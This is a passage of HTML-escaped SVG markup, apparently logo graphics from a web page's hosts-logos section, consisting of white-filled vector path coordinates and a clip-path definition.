                &lt;path d=&quot;M2.9113 12.1387C2.77883 12.1387 2.67285 12.245 2.67285 12.3778C2.67285 12.5107 2.77883 12.617 2.9113 12.617C3.04378 12.617 3.14976 12.5107 3.14976 12.3778C3.14976 12.245 3.04378 12.1387 2.9113 12.1387Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M3.70549 7.91314C3.89095 7.91314 4.02343 7.76699 4.02343 7.59426C4.02343 7.42154 3.87771 7.27539 3.70549 7.27539C3.53328 7.27539 3.38756 7.42154 3.38756 7.59426C3.37431 7.76699 3.52003 7.91314 3.70549 7.91314Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.11613 8.56381C2.20886 8.56381 2.28834 8.48409 2.28834 8.3778C2.28834 8.2848 2.20886 8.20508 2.10288 8.20508C2.01015 8.20508 1.93066 8.2848 1.93066 8.39109C1.93066 8.48409 2.01015 8.56381 2.11613 8.56381Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.91143 8.65841C3.05715 8.65841 3.17638 8.53883 3.17638 8.39268C3.17638 8.24653 3.05715 8.12695 2.91143 8.12695C2.76571 8.12695 2.64648 8.24653 2.64648 8.39268C2.64648 8.53883 2.76571 8.65841 2.91143 8.65841Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M3.70631 8.75067C3.90502 8.75067 4.06399 8.59123 4.06399 8.39194C4.06399 8.19264 3.90502 8.0332 3.70631 8.0332C3.5076 8.0332 3.34863 8.19264 3.34863 8.39194C3.34863 8.59123 3.5076 8.75067 3.70631 8.75067Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M0.526494 9.21607C0.539742 9.21607 0.539742 9.20279 0.539742 9.20279C0.539742 9.1895 0.526494 9.1895 0.526494 9.1895C0.526494 9.1895 0.5 9.17621 0.5 9.1895C0.5 9.20279 0.513247 9.21607 0.526494 9.21607Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M1.3218 9.29462C1.37479 9.29462 1.42778 9.25476 1.42778 9.18832C1.42778 9.13518 1.38804 9.08203 1.3218 9.08203C1.25556 9.08203 1.21582 9.12189 1.21582 9.18832C1.21582 9.24147 1.25556 9.29462 1.3218 9.29462Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.1157 9.38883C2.22168 9.38883 2.31441 9.29582 2.31441 9.18953C2.31441 9.08324 2.22168 8.99023 2.1157 8.99023C2.00972 8.99023 1.91699 9.08324 1.91699 9.18953C1.91699 9.29582 2.00972 9.38883 2.1157 9.38883Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.91095 9.46819C3.06991 9.46819 3.18914 9.33532 3.18914 9.18917C3.18914 9.04302 3.05667 8.91016 2.91095 8.91016C2.75198 8.91016 2.63275 9.04302 2.63275 9.18917C2.6195 9.34861 2.75198 9.46819 2.91095 9.46819Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M0.526494 9.95898C0.513247 9.95898 0.5 9.97227 0.5 9.98556C0.5 9.99884 0.513247 10.0121 0.526494 10.0121C0.539742 10.0121 0.55299 9.99884 0.55299 9.98556C0.539742 9.97227 0.539742 9.95898 0.526494 9.95898Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M1.3218 9.88086C1.25556 9.88086 1.21582 9.93401 1.21582 9.98715C1.21582 10.0536 1.26881 10.0934 1.3218 10.0934C1.37479 10.0934 1.42778 10.0403 1.42778 9.98715C1.42778 9.93401 1.37479 9.88086 1.3218 9.88086Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.1157 9.78711C2.00972 9.78711 1.91699 9.88011 1.91699 9.98641C1.91699 10.0927 2.00972 10.1857 2.1157 10.1857C2.22168 10.1857 2.31441 10.0927 2.31441 9.98641C2.31441 9.88011 2.22168 9.78711 2.1157 9.78711Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.91058 9.69336C2.75161 9.69336 2.61914 9.82622 2.61914 9.98566C2.61914 10.1451 2.75161 10.278 2.91058 10.278C3.06955 10.278 3.20202 10.1451 3.20202 9.98566C3.20202 9.82622 3.06955 9.69336 2.91058 9.69336Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M0.526919 10.7695C0.513672 10.7695 0.513672 10.7828 0.513672 10.7828L0.526919 10.7961L0.540167 10.7828C0.540167 10.7695 0.526919 10.7695 0.526919 10.7695Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M1.3218 10.6777C1.26881 10.6777 1.21582 10.7176 1.21582 10.784C1.21582 10.8372 1.25556 10.8903 1.3218 10.8903C1.37479 10.8903 1.42778 10.8505 1.42778 10.784C1.42778 10.7176 1.37479 10.6777 1.3218 10.6777Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.1157 10.584C2.00972 10.584 1.91699 10.677 1.91699 10.7833C1.91699 10.8896 2.00972 10.9826 2.1157 10.9826C2.22168 10.9826 2.31441 10.8896 2.31441 10.7833C2.30117 10.677 2.22168 10.584 2.1157 10.584Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.91101 10.5039C2.75204 10.5039 2.63281 10.6368 2.63281 10.7829C2.63281 10.9424 2.76529 11.0619 2.91101 11.0619C3.06998 11.0619 3.1892 10.9291 3.1892 10.7829C3.1892 10.6235 3.05673 10.5039 2.91101 10.5039Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M1.32125 11.4883C1.26826 11.4883 1.22852 11.5281 1.22852 11.5813C1.22852 11.6344 1.26826 11.6743 1.32125 11.6743C1.37424 11.6743 1.41398 11.6344 1.41398 11.5813C1.40073 11.5281 1.36099 11.4883 1.32125 11.4883Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M1.32125 8.48484C1.37424 8.48484 1.41398 8.44498 1.41398 8.39183C1.41398 8.33869 1.37424 8.29883 1.32125 8.29883C1.26826 8.29883 1.22852 8.33869 1.22852 8.39183C1.22852 8.44498 1.26826 8.48484 1.32125 8.48484Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.91143 11.3145C2.76571 11.3145 2.64648 11.434 2.64648 11.5802C2.64648 11.7263 2.76571 11.8459 2.91143 11.8459C3.05715 11.8459 3.17638 11.7263 3.17638 11.5802C3.17638 11.434 3.05715 11.3145 2.91143 11.3145Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M1.32112 12.3105C1.28138 12.3105 1.25488 12.3371 1.25488 12.377C1.25488 12.4168 1.28138 12.4434 1.32112 12.4434C1.36086 12.4434 1.38736 12.4168 1.38736 12.377C1.38736 12.3371 1.36086 12.3105 1.32112 12.3105Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.116 12.2188C2.02327 12.2188 1.95703 12.2852 1.95703 12.3782C1.95703 12.4712 2.02327 12.5376 2.116 12.5376C2.19548 12.5376 2.27497 12.4712 2.27497 12.3782C2.27497 12.2985 2.19548 12.2188 2.116 12.2188Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M3.70618 12.0586C3.52072 12.0586 3.375 12.2047 3.375 12.3775C3.375 12.5635 3.52072 12.7096 3.69294 12.7096C3.8784 12.7096 4.02412 12.5635 4.02412 12.3908C4.02412 12.2047 3.8784 12.0586 3.70618 12.0586Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M1.32099 13.1348C1.2945 13.1348 1.28125 13.1481 1.28125 13.1746C1.28125 13.2012 1.2945 13.2145 1.32099 13.2145C1.34749 13.2145 1.36073 13.2012 1.36073 13.1746C1.36073 13.1481 1.33424 13.1348 1.32099 13.1348Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.1163 13.0547C2.05006 13.0547 1.99707 13.1078 1.99707 13.1743C1.99707 13.2407 2.05006 13.2938 2.1163 13.2938C2.18253 13.2938 2.23552 13.2407 2.23552 13.1743C2.23552 13.1078 2.18253 13.0547 2.1163 13.0547Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.91062 12.9766C2.7914 12.9766 2.71191 13.0696 2.71191 13.1759C2.71191 13.2954 2.80465 13.3752 2.91062 13.3752C3.02985 13.3752 3.10933 13.2822 3.10933 13.1759C3.10933 13.0563 3.0166 12.9766 2.91062 12.9766Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M3.7055 12.8965C3.54654 12.8965 3.41406 13.0293 3.41406 13.1755C3.41406 13.3349 3.54654 13.4678 3.69226 13.4678C3.85123 13.4678 3.9837 13.3349 3.9837 13.1888C3.9837 13.0161 3.86447 12.8965 3.7055 12.8965Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.11659 13.8926C2.07685 13.8926 2.03711 13.9324 2.03711 13.9723C2.03711 14.0122 2.07685 14.052 2.11659 14.052C2.15634 14.052 2.19608 14.0122 2.19608 13.9723C2.19608 13.9324 2.15634 13.8926 2.11659 13.8926Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.91092 13.8125C2.81819 13.8125 2.75195 13.8789 2.75195 13.9719C2.75195 14.0649 2.81819 14.1314 2.91092 14.1314C3.00365 14.1314 3.06989 14.0649 3.06989 13.9719C3.06989 13.8789 2.99041 13.8125 2.91092 13.8125Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M3.70623 13.7324C3.57375 13.7324 3.46777 13.8387 3.46777 13.9716C3.46777 14.1044 3.57375 14.2107 3.70623 14.2107C3.8387 14.2107 3.94468 14.1044 3.94468 13.9716C3.94468 13.8387 3.8387 13.7324 3.70623 13.7324Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M4.50098 13.666C4.32876 13.666 4.19629 13.7989 4.19629 13.9716C4.19629 14.1443 4.32876 14.2772 4.50098 14.2772C4.67319 14.2772 4.80567 14.1443 4.80567 13.9716C4.80567 13.7989 4.67319 13.666 4.50098 13.666Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.11591 14.7305C2.08942 14.7305 2.07617 14.7438 2.07617 14.7703C2.07617 14.7969 2.08942 14.8102 2.11591 14.8102C2.14241 14.8102 2.15566 14.7969 2.15566 14.7703C2.15566 14.7438 2.12916 14.7305 2.11591 14.7305Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.91067 14.6641C2.84443 14.6641 2.80469 14.7172 2.80469 14.7704C2.80469 14.8235 2.85768 14.8766 2.91067 14.8766C2.9769 14.8766 3.01665 14.8235 3.01665 14.7704C3.01665 14.7172 2.96366 14.6641 2.91067 14.6641Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M3.70597 14.584C3.59999 14.584 3.52051 14.6637 3.52051 14.77C3.52051 14.8763 3.59999 14.956 3.70597 14.956C3.81195 14.956 3.89143 14.8763 3.89143 14.77C3.87819 14.677 3.7987 14.584 3.70597 14.584Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M4.50072 14.5176C4.36825 14.5176 4.24902 14.6239 4.24902 14.77C4.24902 14.9029 4.355 15.0225 4.50072 15.0225C4.6332 15.0225 4.75242 14.9162 4.75242 14.77C4.75242 14.6372 4.6332 14.5176 4.50072 14.5176Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M5.2959 14.4629C5.12368 14.4629 4.99121 14.5958 4.99121 14.7685C4.99121 14.9412 5.12368 15.0741 5.2959 15.0741C5.46812 15.0741 5.60059 14.9412 5.60059 14.7685C5.60059 14.5958 5.46812 14.4629 5.2959 14.4629Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.91139 15.5137C2.88489 15.5137 2.8584 15.5402 2.8584 15.5668C2.8584 15.5934 2.88489 15.62 2.91139 15.62C2.93788 15.62 2.96438 15.5934 2.96438 15.5668C2.96438 15.5402 2.93788 15.5137 2.91139 15.5137Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M3.70614 15.4473C3.6399 15.4473 3.58691 15.5004 3.58691 15.5668C3.58691 15.6333 3.6399 15.6864 3.70614 15.6864C3.77238 15.6864 3.82537 15.6333 3.82537 15.5668C3.82537 15.5004 3.77238 15.4473 3.70614 15.4473Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M4.50089 15.3809C4.39491 15.3809 4.31543 15.4606 4.31543 15.5669C4.31543 15.6732 4.39491 15.7529 4.50089 15.7529C4.60687 15.7529 4.68636 15.6732 4.68636 15.5669C4.68636 15.4606 4.59362 15.3809 4.50089 15.3809Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M5.29509 15.3281C5.16262 15.3281 5.05664 15.4344 5.05664 15.5673C5.05664 15.7001 5.16262 15.8064 5.29509 15.8064C5.42757 15.8064 5.53355 15.7001 5.53355 15.5673C5.53355 15.4344 5.42757 15.3281 5.29509 15.3281Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.09027 15.2734C5.9313 15.2734 5.79883 15.4063 5.79883 15.5657C5.79883 15.7252 5.9313 15.858 6.09027 15.858C6.24924 15.858 6.38171 15.7252 6.38171 15.5657C6.38171 15.4063 6.24924 15.2734 6.09027 15.2734Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.88489 15.2344C6.69943 15.2344 6.55371 15.3805 6.55371 15.5665C6.55371 15.7525 6.69943 15.8987 6.88489 15.8987C7.07036 15.8987 7.21608 15.7525 7.21608 15.5665C7.21608 15.3805 7.05711 15.2344 6.88489 15.2344Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M3.70631 16.3105C3.67981 16.3105 3.65332 16.3371 3.65332 16.3637C3.65332 16.3903 3.67981 16.4168 3.70631 16.4168C3.7328 16.4168 3.7593 16.3903 3.7593 16.3637C3.7593 16.3371 3.7328 16.3105 3.70631 16.3105Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M4.50106 16.2578C4.43482 16.2578 4.38184 16.311 4.38184 16.3641C4.38184 16.4305 4.43482 16.4837 4.48781 16.4837C4.55405 16.4837 4.60704 16.4305 4.60704 16.3774C4.60704 16.2977 4.5673 16.2578 4.50106 16.2578Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M5.29569 16.2051C5.20296 16.2051 5.13672 16.2848 5.13672 16.3645C5.13672 16.4575 5.2162 16.524 5.29569 16.524C5.38842 16.524 5.45466 16.4442 5.45466 16.3645C5.45466 16.2715 5.38842 16.2051 5.29569 16.2051Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.09086 16.1504C5.97164 16.1504 5.87891 16.2434 5.87891 16.363C5.87891 16.4826 5.97164 16.5756 6.09086 16.5756C6.21009 16.5756 6.30282 16.4826 6.30282 16.363C6.30282 16.2434 6.19684 16.1504 6.09086 16.1504Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.88494 16.1252C6.75246 16.1252 6.64648 16.2315 6.64648 16.3644C6.64648 16.4972 6.75246 16.6035 6.88494 16.6035C7.01741 16.6035 7.12339 16.4972 7.12339 16.3644C7.12339 16.2315 7.01741 16.1119 6.88494 16.1252C6.88494 16.1119 6.88494 16.1119 6.88494 16.1252Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M7.68054 16.0977C7.53482 16.0977 7.41559 16.2172 7.40234 16.3634C7.40234 16.5095 7.52157 16.6291 7.66729 16.6424C7.81301 16.6424 7.93224 16.5228 7.94548 16.3767C7.94548 16.2172 7.82626 16.0977 7.68054 16.0977Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M8.47504 16.0723C8.31607 16.0723 8.18359 16.2051 8.18359 16.3646C8.18359 16.524 8.31607 16.6569 8.47504 16.6569C8.634 16.6569 8.76648 16.524 8.76648 16.3646C8.75323 16.2051 8.634 16.0723 8.47504 16.0723Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M4.50068 17.1211C4.47418 17.1211 4.46094 17.1344 4.46094 17.161C4.46094 17.1875 4.47418 17.2008 4.50068 17.2008C4.52717 17.2008 4.54042 17.1875 4.54042 17.161C4.54042 17.1344 4.51393 17.1211 4.50068 17.1211Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M5.2953 17.0684C5.24231 17.0684 5.21582 17.1082 5.21582 17.1481C5.21582 17.2012 5.25556 17.2278 5.2953 17.2278C5.34829 17.2278 5.37479 17.1879 5.37479 17.1481C5.37479 17.1082 5.33505 17.0684 5.2953 17.0684Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.09048 17.0273C6.02424 17.0273 5.95801 17.0805 5.95801 17.1602C5.95801 17.2266 6.011 17.2931 6.09048 17.2931C6.16997 17.2931 6.22296 17.2399 6.22296 17.1602C6.20971 17.0938 6.15672 17.0273 6.09048 17.0273Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.88553 17.002C6.7928 17.002 6.72656 17.0684 6.72656 17.1614C6.72656 17.2544 6.7928 17.3208 6.88553 17.3208C6.97826 17.3208 7.0445 17.2544 7.0445 17.1614C7.0445 17.0684 6.97826 17.002 6.88553 17.002Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M7.6796 16.9746C7.57362 16.9746 7.49414 17.0543 7.49414 17.1606C7.49414 17.2669 7.57362 17.3466 7.6796 17.3466C7.78558 17.3466 7.86507 17.2669 7.86507 17.1606C7.86507 17.0543 7.77233 16.9746 7.6796 16.9746Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M8.47508 16.9609C8.3691 16.9609 8.27637 17.0539 8.27637 17.1602C8.27637 17.2665 8.3691 17.3595 8.47508 17.3595C8.58106 17.3595 8.67379 17.2665 8.67379 17.1602C8.67379 17.0539 8.58106 16.9609 8.47508 16.9609Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.09052 17.918C6.06403 17.918 6.05078 17.9313 6.05078 17.9578C6.05078 17.9844 6.06403 17.9977 6.09052 17.9977C6.11702 17.9977 6.13027 17.9844 6.13027 17.9578C6.13027 17.9313 6.11702 17.918 6.09052 17.918Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.88515 17.8789C6.8454 17.8789 6.80566 17.9188 6.80566 17.9586C6.80566 17.9985 6.8454 18.0383 6.88515 18.0383C6.92489 18.0383 6.96463 17.9985 6.96463 17.9586C6.95138 17.9188 6.92489 17.8789 6.88515 17.8789Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M7.67965 17.8652C7.62666 17.8652 7.58691 17.9051 7.58691 17.9582C7.58691 18.0114 7.62666 18.0512 7.67965 18.0512C7.73263 18.0512 7.77238 18.0114 7.77238 17.9582C7.77238 17.9051 7.73263 17.8652 7.67965 17.8652Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M8.47469 17.8516C8.40846 17.8516 8.35547 17.9047 8.35547 17.9579C8.35547 18.0243 8.40846 18.0774 8.46145 18.0774C8.52768 18.0774 8.58067 18.0243 8.58067 17.9711C8.58067 17.8914 8.52768 17.8516 8.47469 17.8516Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M8.47474 18.7285C8.46149 18.7285 8.44824 18.7418 8.44824 18.7551C8.44824 18.7684 8.46149 18.7817 8.47474 18.7817C8.48798 18.7817 8.50123 18.7684 8.50123 18.7551C8.50123 18.7418 8.48798 18.7285 8.47474 18.7285Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M9.29621 0.0214844V1.19069C9.28297 1.19069 9.26972 1.20398 9.26972 1.21726C9.26972 1.23055 9.28297 1.24384 9.28297 1.24384V1.90816C9.22998 1.90816 9.17699 1.94802 9.17699 2.01445C9.17699 2.0676 9.21673 2.12074 9.28297 2.12074H9.29621V2.61234C9.19023 2.61234 9.0975 2.70535 9.0975 2.81164C9.0975 2.91793 9.19023 2.99765 9.29621 3.01093V3.31652C9.13724 3.31652 9.01802 3.44939 9.01802 3.62211C9.01802 3.76826 9.15049 3.90112 9.29621 3.90112V4.03399C9.08425 4.03399 8.92529 4.20671 8.92529 4.40601C8.92529 4.56545 9.01802 4.69831 9.16374 4.75146C9.05776 4.79132 8.96503 4.85775 8.89879 4.96404C8.83255 4.85775 8.73982 4.79132 8.6206 4.75146C8.81931 4.68502 8.91204 4.47244 8.8458 4.28643C8.77957 4.08713 8.56761 3.99413 8.38215 4.06056C8.18343 4.12699 8.0907 4.33958 8.15694 4.52559C8.19668 4.63188 8.27617 4.72488 8.38215 4.75146C8.24967 4.79132 8.14369 4.87104 8.0907 4.99061C7.97148 4.77803 7.70653 4.69831 7.49457 4.81789C7.40184 4.87103 7.32236 4.96404 7.28261 5.07033C7.20313 4.85775 6.97793 4.75146 6.76597 4.81789C6.55401 4.88432 6.44803 5.12348 6.51427 5.33606C6.54076 5.42907 6.607 5.50878 6.69973 5.56193C6.59375 5.60179 6.51427 5.68151 6.46128 5.7878C6.34205 5.5885 6.0771 5.52207 5.86515 5.64165C5.74592 5.70808 5.67968 5.82766 5.66644 5.96052C5.63994 5.76123 5.45448 5.61508 5.25577 5.64165C5.05706 5.66822 4.91134 5.85423 4.93783 6.05353C4.96433 6.22625 5.0968 6.35912 5.25577 6.3724C5.01732 6.39898 4.8451 6.61156 4.87159 6.83743C4.88484 6.97029 4.96433 7.08987 5.08355 7.1563C4.99082 7.20945 4.91134 7.28917 4.85835 7.39546C4.75237 7.19616 4.50067 7.12973 4.31521 7.23602C4.12974 7.34231 4.05026 7.59475 4.15624 7.78076C4.20923 7.87377 4.27546 7.9402 4.36819 7.96678C4.14299 8.04649 4.01052 8.28565 4.09 8.52481C4.12974 8.6311 4.19598 8.7241 4.30196 8.77725C4.18273 8.83039 4.10325 8.93669 4.06351 9.06955C3.99727 8.87025 3.78531 8.77725 3.59985 8.84368C3.40114 8.91011 3.30841 9.12269 3.37464 9.30871C3.44088 9.49472 3.65284 9.60101 3.8383 9.53458C3.94428 9.49472 4.03701 9.415 4.06351 9.30871C4.09 9.42828 4.16948 9.52129 4.27546 9.58772C4.18273 9.64087 4.10325 9.73387 4.06351 9.85345C3.98402 9.65415 3.77206 9.56115 3.57335 9.64087C3.37464 9.72058 3.28191 9.93317 3.3614 10.1325C3.44088 10.3318 3.65284 10.4248 3.85155 10.345C3.94428 10.3052 4.02376 10.2255 4.06351 10.1325C4.10325 10.2388 4.16948 10.3318 4.27546 10.3982C4.16948 10.4646 4.10325 10.5576 4.07675 10.6639C4.01052 10.4646 3.79856 10.3716 3.59985 10.4381C3.40114 10.5045 3.30841 10.7171 3.37464 10.9164C3.44088 11.1157 3.65284 11.2087 3.85155 11.1422C3.95753 11.1024 4.03701 11.0227 4.07675 10.9164C4.1165 11.0359 4.19598 11.1422 4.30196 11.2087C4.16948 11.2884 4.07675 11.4345 4.07675 11.594C4.07675 11.3947 3.90454 11.2352 3.71907 11.2485C3.52036 11.2485 3.36139 11.4212 3.37464 11.6073C3.38789 11.7933 3.54686 11.966 3.73232 11.9527C3.91778 11.9527 4.07675 11.7933 4.07675 11.6073C4.07675 11.7933 4.19598 11.9527 4.36819 12.0191C4.15624 12.0989 4.05026 12.338 4.12974 12.5373C4.20923 12.7499 4.44768 12.8562 4.64639 12.7765C4.73912 12.7366 4.80536 12.6835 4.85835 12.5905C4.89809 12.6835 4.97757 12.7632 5.0703 12.8163C4.95108 12.896 4.87159 13.0289 4.87159 13.1751C4.87159 12.9758 4.69938 12.8163 4.50067 12.8163C4.30196 12.8163 4.14299 12.9891 4.14299 13.1883C4.14299 13.3876 4.31521 13.5471 4.51392 13.5471C4.71263 13.5471 4.85835 13.3876 4.87159 13.1883C4.87159 13.4009 5.03056 13.5737 5.22927 13.6135C5.03056 13.6534 4.89809 13.8527 4.93783 14.052C4.97757 14.2513 5.17628 14.3841 5.37499 14.3443C5.52072 14.3177 5.63994 14.1981 5.66644 14.052C5.70618 14.238 5.8519 14.3841 6.05061 14.4107C5.8519 14.4373 5.70618 14.6233 5.73267 14.8226C5.75917 15.0219 5.94463 15.168 6.14334 15.1415C6.34205 15.1149 6.48777 14.9289 6.46128 14.7296C6.43478 14.5701 6.31556 14.4373 6.14334 14.4107C6.27581 14.3974 6.39504 14.3177 6.46128 14.2114C6.51427 14.3044 6.59375 14.3708 6.68648 14.424C6.48777 14.5436 6.42154 14.796 6.54076 14.982C6.65999 15.1813 6.91169 15.2477 7.09715 15.1282C7.17664 15.0883 7.22963 15.0086 7.26937 14.9289C7.32236 15.0883 7.46808 15.1946 7.62705 15.2079C7.42834 15.2345 7.29586 15.4205 7.3356 15.6198C7.3621 15.8191 7.54756 15.9519 7.74627 15.9121C7.94498 15.8855 8.07746 15.6995 8.03771 15.5002C8.01122 15.354 7.89199 15.2345 7.74627 15.2079C7.87875 15.1946 7.99797 15.1149 8.07746 14.9953C8.13045 15.1016 8.23642 15.1813 8.3424 15.2212C8.14369 15.3009 8.05096 15.5268 8.13045 15.7128C8.20993 15.9121 8.43514 16.0051 8.6206 15.9254C8.81931 15.8456 8.91204 15.6198 8.83255 15.4338C8.79281 15.3407 8.71333 15.261 8.6206 15.2212C8.72658 15.1946 8.80606 15.1149 8.8723 15.0352C8.92529 15.1282 9.01802 15.1946 9.11075 15.2345C8.91204 15.3275 8.83256 15.5533 8.92529 15.7526C8.99152 15.8855 9.124 15.9785 9.26972 15.9785V16.0981C9.11075 16.0981 8.96503 16.2177 8.96503 16.3904C8.96503 16.5498 9.08426 16.696 9.25647 16.696H9.26972V16.9883C9.15049 16.9883 9.05776 17.0813 9.05776 17.1876C9.05776 17.3071 9.15049 17.4001 9.25647 17.4001H9.26972V17.8785C9.20348 17.8785 9.16374 17.9316 9.16374 17.998C9.16374 18.0512 9.21673 18.1043 9.26972 18.1043V18.7554C9.25647 18.7554 9.24322 18.7687 9.24322 18.7819C9.24322 18.7952 9.25647 18.8085 9.26972 18.8085V19.9777C14.7541 20.0176 19.245 15.5932 19.2847 10.0926C19.3245 4.59202 14.9131 0.0879162 9.42869 0.0480569C9.40219 0.021484 9.3492 0.0214844 9.29621 0.0214844ZM5.67968 6.04024C5.69293 6.15982 5.74592 6.26611 5.83865 6.33254C5.77242 6.39898 5.70618 6.46541 5.63994 6.53184C5.57371 6.43884 5.46773 6.38569 5.3485 6.3724C5.53396 6.34583 5.66644 6.21297 5.67968 6.04024ZM5.67968 13.8925C5.65319 13.7464 5.53396 13.6401 5.38824 13.6002C5.49422 13.5869 5.58695 13.5205 5.65319 13.4408C5.71943 13.5072 5.77242 13.5604 5.83865 13.6268C5.75917 13.6932 5.70618 13.7862 5.67968 13.8925Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.11613 11.4082C2.02339 11.4082 1.93066 11.4879 1.93066 11.5942C1.93066 11.6872 2.01015 11.7802 2.11613 11.7802C2.20886 11.7802 2.30159 11.7005 2.30159 11.5942C2.28834 11.4879 2.20886 11.4082 2.11613 11.4082Z&quot; fill=&quot;white&quot;/&gt;
            &lt;/g&gt;
            &lt;defs&gt;
                &lt;clipPath id=&quot;clip0_6604_6313&quot;&gt;
                    &lt;rect width=&quot;113&quot; height=&quot;20&quot; fill=&quot;white&quot; transform=&quot;translate(0.5)&quot;/&gt;
                &lt;/clipPath&gt;
            &lt;/defs&gt;
        &lt;/svg&gt;
        &lt;svg width=&quot;114&quot; height=&quot;14&quot; viewBox=&quot;0 0 114 14&quot; fill=&quot;none&quot; xmlns=&quot;http://www.w3.org/2000/svg&quot; class=&quot;a-fade-up block-hosts-logos__image&quot; style=&quot;height: 13px;&quot;&gt;
            &lt;g clip-path=&quot;url(#clip0_6604_6431)&quot;&gt;
                &lt;path fill-rule=&quot;evenodd&quot; clip-rule=&quot;evenodd&quot; d=&quot;M106.956 0C105.131 0 103.494 0.777636 102.375 2.01048C101.256 0.777636 99.6182 0 97.7937 0C94.4202 0 91.6855 2.65915 91.6855 5.93939V6.36364V13.5758H94.7396V5.93939L94.7413 5.83715C94.7968 4.24455 96.1423 2.9697 97.7937 2.9697C99.4804 2.9697 100.848 4.29927 100.848 5.93939V13.5758H103.902V5.93939L103.904 5.83715C103.959 4.24455 105.304 2.9697 106.956 2.9697C108.643 2.9697 110.01 4.29927 110.01 5.93939V13.5758H113.064V5.93939C113.064 2.65915 110.329 0 106.956 0Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path fill-rule=&quot;evenodd&quot; clip-rule=&quot;evenodd&quot; d=&quot;M81.6506 10.6061C79.4818 10.6061 77.724 8.89679 77.724 6.78788C77.724 4.67897 79.4818 2.9697 81.6506 2.9697C83.8194 2.9697 85.5773 4.67897 85.5773 6.78788C85.5773 8.89679 83.8194 10.6061 81.6506 10.6061ZM81.6506 0C77.7951 0 74.6699 3.03927 74.6699 6.78788C74.6699 10.5369 77.7951 13.5758 81.6506 13.5758C85.5061 13.5758 88.6313 10.5369 88.6313 6.78788C88.6313 3.03927 85.5061 0 81.6506 0Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path fill-rule=&quot;evenodd&quot; clip-rule=&quot;evenodd&quot; d=&quot;M66.8225 2.9697C67.9438 2.9697 68.9525 3.42915 69.668 4.16182L71.8276 2.06182C70.5589 0.792061 68.7871 0 66.8225 0C62.967 0 59.8418 3.03927 59.8418 6.78788C59.8418 10.5369 62.967 13.5758 66.8225 13.5758C68.7871 13.5758 70.5589 12.7841 71.8276 11.5139L69.668 9.41352C68.9525 10.1466 67.9438 10.6061 66.8225 10.6061C64.6537 10.6061 62.8959 8.89679 62.8959 6.78788C62.8959 4.67897 64.6537 2.9697 66.8225 2.9697Z&quot; fill=&quot;white&quot;/&gt;
